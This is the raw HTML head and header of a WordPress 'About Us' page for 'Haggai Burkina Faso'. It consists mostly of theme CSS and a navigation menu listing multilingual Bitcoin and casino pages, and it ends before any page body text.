767px){#et-top-navigation{margin-right:0}body.admin-bar.et_fixed_nav #main-header{top:46px}}@media all and (max-width: 479px){#et-top-navigation{margin-right:0}}@media print{#top-header,#main-header{position:relative !important;top:auto !important;right:auto !important;bottom:auto !important;left:auto !important}}
@-webkit-keyframes fadeOutTop{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}}@keyframes fadeOutTop{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}}@-webkit-keyframes fadeInTop{0%{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@keyframes fadeInTop{0%{opacity:0;-webkit-transform:translatey(-60%);transform:translatey(-60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@-webkit-keyframes fadeInBottom{0%{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@keyframes fadeInBottom{0%{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}to{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}}@-webkit-keyframes fadeOutBottom{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}}@keyframes fadeOutBottom{0%{opacity:1;-webkit-transform:translatey(0);transform:translatey(0)}to{opacity:0;-webkit-transform:translatey(60%);transform:translatey(60%)}}@-webkit-keyframes Grow{0%{opacity:0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes Grow{0%{opacity:0;-webkit-transform:scaleY(.5);transform:scaleY(.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}/*!
	  * Animate.css - http://daneden.me/animate
	  * Licensed under the MIT license - http://opensource.org/licenses/MIT
	  * Copyright (c) 2015 Daniel Eden
	 */@-webkit-keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);transform:perspective(400px) rotateX(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);transform:perspective(400px) rotateX(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg);transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@-webkit-keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-20deg);transform:perspective(400px) rotateY(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateY(10deg);transform:perspective(400px) rotateY(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateY(-5deg);transform:perspective(400px) rotateY(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInY{0%{-webkit-transform:perspective(400px) rotateY(90deg);transform:perspective(400px) rotateY(90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateY(-20deg);transform:perspective(400px) rotateY(-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateY(10deg);transform:perspective(400px) rotateY(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateY(-5deg);transform:perspective(400px) rotateY(-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}
#main-header{line-height:23px;font-weight:500;top:0;background-color:#fff;width:100%;-webkit-box-shadow:0 1px 0 rgba(0,0,0,.1);box-shadow:0 1px 0 rgba(0,0,0,.1);position:relative;z-index:99999}.nav li li{padding:0 20px;margin:0}.et-menu li li a{padding:6px 20px;width:200px}.nav li{position:relative;line-height:1em}.nav li li{position:relative;line-height:2em}.nav li ul{position:absolute;padding:20px 0;z-index:9999;width:240px;background:#fff;visibility:hidden;opacity:0;border-top:3px solid #2ea3f2;box-shadow:0 2px 5px rgba(0,0,0,.1);-moz-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-transform:translateZ(0);text-align:left}.nav li.et-hover>ul{visibility:visible}.nav li.et-touch-hover>ul,.nav li:hover>ul{opacity:1;visibility:visible}.nav li li ul{z-index:1000;top:-23px;left:240px}.nav li.et-reverse-direction-nav li ul{left:auto;right:240px}.nav li:hover{visibility:inherit}.et_mobile_menu li a,.nav li li a{font-size:14px;-webkit-transition:opacity .2s ease-in-out,background-color .2s ease-in-out;transition:opacity .2s ease-in-out,background-color .2s ease-in-out}.et_mobile_menu li a:hover,.nav ul li a:hover{background-color:rgba(0,0,0,.03);opacity:.7}.et-dropdown-removing>ul{display:none}.mega-menu .et-dropdown-removing>ul{display:block}.et-menu .menu-item-has-children>a:first-child:after{font-family:ETmodules;content:"3";font-size:16px;position:absolute;right:0;top:0;font-weight:800}.et-menu .menu-item-has-children>a:first-child{padding-right:20px}.et-menu li li.menu-item-has-children>a:first-child:after{right:20px;top:6px}.et-menu-nav li.mega-menu{position:inherit}.et-menu-nav li.mega-menu>ul{padding:30px 20px;position:absolute!important;width:100%;left:0!important}.et-menu-nav li.mega-menu ul li{margin:0;float:left!important;display:block!important;padding:0!important}.et-menu-nav li.mega-menu li>ul{-webkit-animation:none!important;animation:none!important;padding:0;border:none;left:auto;top:auto;width:240px!important;position:relative;box-shadow:none;-webkit-box-shadow:none}.et-menu-nav li.mega-menu li ul{visibility:visible;opacity:1;display:none}.et-menu-nav li.mega-menu.et-hover li ul,.et-menu-nav li.mega-menu:hover li ul{display:block}.et-menu-nav li.mega-menu:hover>ul{opacity:1!important;visibility:visible!important}.et-menu-nav li.mega-menu>ul>li>a:first-child{padding-top:0!important;font-weight:700;border-bottom:1px solid rgba(0,0,0,.03)}.et-menu-nav li.mega-menu>ul>li>a:first-child:hover{background-color:transparent!important}.et-menu-nav li.mega-menu li>a{width:200px!important}.et-menu-nav li.mega-menu.mega-menu-parent li>a,.et-menu-nav li.mega-menu.mega-menu-parent li li{width:100%!important}.et-menu-nav li.mega-menu.mega-menu-parent li>.sub-menu{float:left;width:100%!important}.et-menu-nav li.mega-menu>ul>li{width:25%;margin:0}.et-menu-nav li.mega-menu.mega-menu-parent-3>ul>li{width:33.33%}.et-menu-nav li.mega-menu.mega-menu-parent-2>ul>li{width:50%}.et-menu-nav li.mega-menu.mega-menu-parent-1>ul>li{width:100%}.et_pb_fullwidth_menu li.mega-menu .menu-item-has-children>a:first-child:after,.et_pb_menu li.mega-menu .menu-item-has-children>a:first-child:after{display:none}.et_fullwidth_nav #top-menu li.mega-menu>ul{width:auto;left:30px!important;right:30px!important}.et_mobile_menu{position:absolute;left:0;padding:5%;background:#fff;width:100%;visibility:visible;opacity:1;display:none;z-index:9999;border-top:3px solid #2ea3f2;box-shadow:0 2px 5px rgba(0,0,0,.1);-moz-box-shadow:0 2px 5px rgba(0,0,0,.1);-webkit-box-shadow:0 2px 5px rgba(0,0,0,.1)}#main-header .et_mobile_menu li ul,.et_pb_fullwidth_menu .et_mobile_menu li ul,.et_pb_menu .et_mobile_menu li ul{visibility:visible!important;display:block!important;padding-left:10px}.et_mobile_menu li li{padding-left:5%}.et_mobile_menu li a{border-bottom:1px solid rgba(0,0,0,.03);color:#666;padding:10px 5%;display:block}.et_mobile_menu .menu-item-has-children>a{font-weight:700;background-color:rgba(0,0,0,.03)}.et_mobile_menu li .menu-item-has-children>a{background-color:transparent}.et_mobile_nav_menu{float:right;display:none}.mobile_menu_bar{position:relative;display:block;line-height:0}.mobile_menu_bar:before{content:"a";font-size:32px;position:relative;left:0;top:0;cursor:pointer}.et_pb_module .mobile_menu_bar:before{top:2px}.mobile_nav .select_page{display:none}
.footer-widget h4,#main-footer .widget_block h1,#main-footer .widget_block h2,#main-footer .widget_block h3,#main-footer .widget_block h4,#main-footer .widget_block h5,#main-footer .widget_block h6{color:#2EA3F2}.footer-widget li:before{border-color:#2EA3F2}.bottom-nav li.current-menu-item>a{color:#2EA3F2}#main-footer{background-color:#222222}#footer-widgets{padding:6% 0 0}.footer-widget{float:left;color:#fff}.last{margin-right:0}.footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget li{padding-left:14px;position:relative}#footer-widgets .footer-widget li:before{border-radius:3px;border-style:solid;border-width:3px;content:"";left:0;position:absolute;top:9px}#footer-widgets .footer-widget a{color:#fff}#footer-widgets .footer-widget li a{color:#fff;text-decoration:none}#footer-widgets .footer-widget li a:hover{color:rgba(255,255,255,0.7)}.footer-widget .widget_adsensewidget ins{min-width:160px}#footer-bottom{background-color:#1f1f1f;background-color:rgba(0,0,0,0.32);padding:15px 0 5px}#footer-bottom a{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#footer-info{text-align:left;color:#666;padding-bottom:10px;float:left}#footer-info a{font-weight:700;color:#666}#footer-info a:hover{opacity:.7}#et-footer-nav{background-color:rgba(255,255,255,0.05)}.bottom-nav{padding:15px 0}.bottom-nav li{font-weight:600;display:inline-block;font-size:14px;padding-right:22px}.bottom-nav a{color:#bbb;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.bottom-nav a:hover{opacity:.7}@media all and (max-width: 980px){.footer-widget:nth-child(n){width:46.25% !important;margin:0 7.5% 7.5% 0 !important}.et_pb_footer_columns1 .footer-widget{width:100% !important;margin:0 7.5% 7.5% 0 !important}#footer-widgets .footer-widget .fwidget{margin-bottom:16.21%}.et_pb_gutters1 .footer-widget:nth-child(n){width:50% !important;margin:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0}#footer-widgets{padding:8% 0}#footer-widgets .footer-widget:nth-child(2n){margin-right:0 !important}#footer-widgets .footer-widget:nth-last-child(-n+2){margin-bottom:0 !important}.bottom-nav{text-align:center}#footer-info{float:none;text-align:center}}@media all and (max-width: 767px){#footer-widgets .footer-widget,.et_pb_gutters1 #footer-widgets .footer-widget{width:100% !important;margin-right:0 !important}#footer-widgets .footer-widget:nth-child(n),#footer-widgets .footer-widget .fwidget{margin-bottom:9.5% !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:10% 0}#footer-widgets .footer-widget .fwidget:last-child{margin-bottom:0 !important}#footer-widgets .footer-widget:last-child{margin-bottom:0 !important}}@media all and (max-width: 479px){#footer-widgets .footer-widget:nth-child(n),.footer-widget .fwidget{margin-bottom:11.5% !important}#footer-widgets .footer-widget.last{margin-bottom:0 !important}.et_pb_gutters1 #footer-widgets .footer-widget:nth-child(n),.et_pb_gutters1 #footer-widgets .footer-widget .fwidget{margin-bottom:0 !important}#footer-widgets{padding:12% 0}}
@media all and (min-width: 981px){.et_pb_gutters3 .footer-widget{margin-right:5.5%;margin-bottom:5.5%}.et_pb_gutters3 .footer-widget:last-child{margin-right:0}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget{width:12.083%}.et_pb_gutters3.et_pb_footer_columns6 .footer-widget .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget{width:15.6%}.et_pb_gutters3.et_pb_footer_columns5 .footer-widget .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget{width:20.875%}.et_pb_gutters3.et_pb_footer_columns4 .footer-widget .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget{width:29.667%}.et_pb_gutters3.et_pb_footer_columns3 .footer-widget .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget{width:47.25%}.et_pb_gutters3.et_pb_footer_columns2 .footer-widget .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget{width:100%}.et_pb_gutters3.et_pb_footer_columns1 .footer-widget .fwidget{margin-bottom:5.5%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1){width:73.625%;clear:both}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_3_4__1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1){width:20.875%;clear:both}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(1) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2){width:73.625%}.et_pb_gutters3.et_pb_footer_columns_1_4__3_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:7.47%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_2_3__1_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1){width:29.667%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(1) .fwidget{margin-bottom:18.539%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2){width:64.833%}.et_pb_gutters3.et_pb_footer_columns_1_3__2_3 .footer-widget:nth-child(2) .fwidget{margin-bottom:8.483%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4__1_2 .footer-widget:nth-child(3) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_4 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(-n+2) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5__3_5 .footer-widget:nth-child(3) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child{width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:first-child .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_3_5__1_5 .footer-widget:nth-child(-n+3):not(:nth-child(1)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_3_5__2_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1){width:36.7%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(1) .fwidget{margin-bottom:14.986%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_2_5__3_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child{width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:first-child .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_2__1_6 .footer-widget:nth-child(-n+4):not(:nth-child(1)) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3){width:12.083%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(-n+3) .fwidget{margin-bottom:45.517%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_6__1_2 .footer-widget:nth-child(4) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:20.875%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:26.347%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2){width:47.25%}.et_pb_gutters3.et_pb_footer_columns_1_4_1_2_1_4 .footer-widget:nth-child(2) .fwidget{margin-bottom:11.64%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)){width:15.6%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(-n+3):not(:nth-child(2)) .fwidget{margin-bottom:35.256%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2){width:57.8%}.et_pb_gutters3.et_pb_footer_columns_1_5_3_5_1_5 .footer-widget:nth-child(2) .fwidget{margin-bottom:9.516%}}
.et-social-icons{float:right}.et-social-icons li{display:inline-block;margin-left:20px}.et-social-icon a{display:inline-block;font-size:24px;position:relative;text-align:center;-webkit-transition:color 300ms ease 0s;transition:color 300ms ease 0s;color:#666;text-decoration:none}.et-social-icons a:hover{opacity:0.7;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et-social-icon span{display:none}.et_duplicate_social_icons{display:none}@media all and (max-width: 980px){.et-social-icons{float:none;text-align:center}}@media all and (max-width: 980px){.et-social-icons{margin:0 0 5px}}
#sidebar{padding-bottom:28px}#sidebar .et_pb_widget{margin-bottom:30px;width:100%;float:none}.et_right_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_2_3 .et_pb_countdown_timer .section.sep{font-size:44px;line-height:44px}.et_right_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_2 .et_pb_countdown_timer .section.sep{font-size:32px;line-height:32px}.et_right_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_3_8 .et_pb_countdown_timer .section.sep{font-size:24px;line-height:24px}.et_right_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_3 .et_pb_countdown_timer .section.sep{font-size:20px;line-height:20px}.et_right_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section p.value,.et_right_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section.sep,.et_left_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section p.value,.et_left_sidebar #main-content .et_pb_column_1_4 .et_pb_countdown_timer .section.sep{font-size:16px;line-height:16px}@media all and (min-width: 981px) and (max-width: 1100px){#sidebar .et_pb_widget{margin-left:0}.et_left_sidebar #sidebar .et_pb_widget{margin-right:0}}@media all and (min-width: 981px){#sidebar{float:left;width:20.875%}.et_right_sidebar #left-area{float:left;padding-right:5.5%}.et_right_sidebar #sidebar{padding-left:30px}.et_right_sidebar #main-content .container:before{right:20.875% !important}.et_left_sidebar #left-area{float:right;padding-left:5.5%}.et_left_sidebar #sidebar{padding-right:30px}.et_left_sidebar #main-content .container:before{left:20.875% !important}}@media all and (max-width: 980px){.et_right_sidebar #left-area,.et_right_sidebar #sidebar,.et_left_sidebar #left-area,.et_left_sidebar #sidebar{width:auto;float:none;padding-right:0;padding-left:0}.et_right_sidebar #left-area{margin-right:0}.et_right_sidebar #sidebar{margin-left:0;border-left:none}.et_left_sidebar #left-area{margin-left:0}.et_left_sidebar #sidebar{margin-right:0;border-right:none}}
.widget_search .screen-reader-text,.et_pb_widget .wp-block-search__label{display:none}.widget_search input#s,.widget_search input#searchsubmit,.et_pb_widget .wp-block-search__input,.et_pb_widget .wp-block-search__button{padding:.7em;height:40px !important;margin:0;font-size:14px;line-height:normal !important;border:1px solid #ddd;color:#666}.widget_search #s,.et_pb_widget .wp-block-search__input{width:100%;border-radius:3px}.widget_search #searchform,.et_pb_widget .wp-block-search{position:relative}.widget_search #searchsubmit,.et_pb_widget .wp-block-search__button{background-color:#ddd;-webkit-border-top-right-radius:3px;-webkit-border-bottom-right-radius:3px;-moz-border-radius-topright:3px;-moz-border-radius-bottomright:3px;border-top-right-radius:3px;border-bottom-right-radius:3px;position:absolute;right:0;top:0}#searchsubmit,.et_pb_widget .wp-block-search__button{cursor:pointer}
/*# sourceURL=divi-dynamic-critical-inline-css */
</style>
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://haggai-bf.org/wp-json/wp/v2/pages/8" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<link rel="canonical" href="https://haggai-bf.org/about-us/" />
<link rel='shortlink' href='https://haggai-bf.org/?p=8' />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /><style id="et-critical-inline-css"></style>
</head>
<body class="wp-singular page-template page-template-no-title page page-id-8 wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">


	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">


			
				<article id="post-8" class="post-8 page type-page status-publish hentry">

				
					<h1 class="entry-title main_title">About Us</h1>
				
				
					<div class="entry-content">
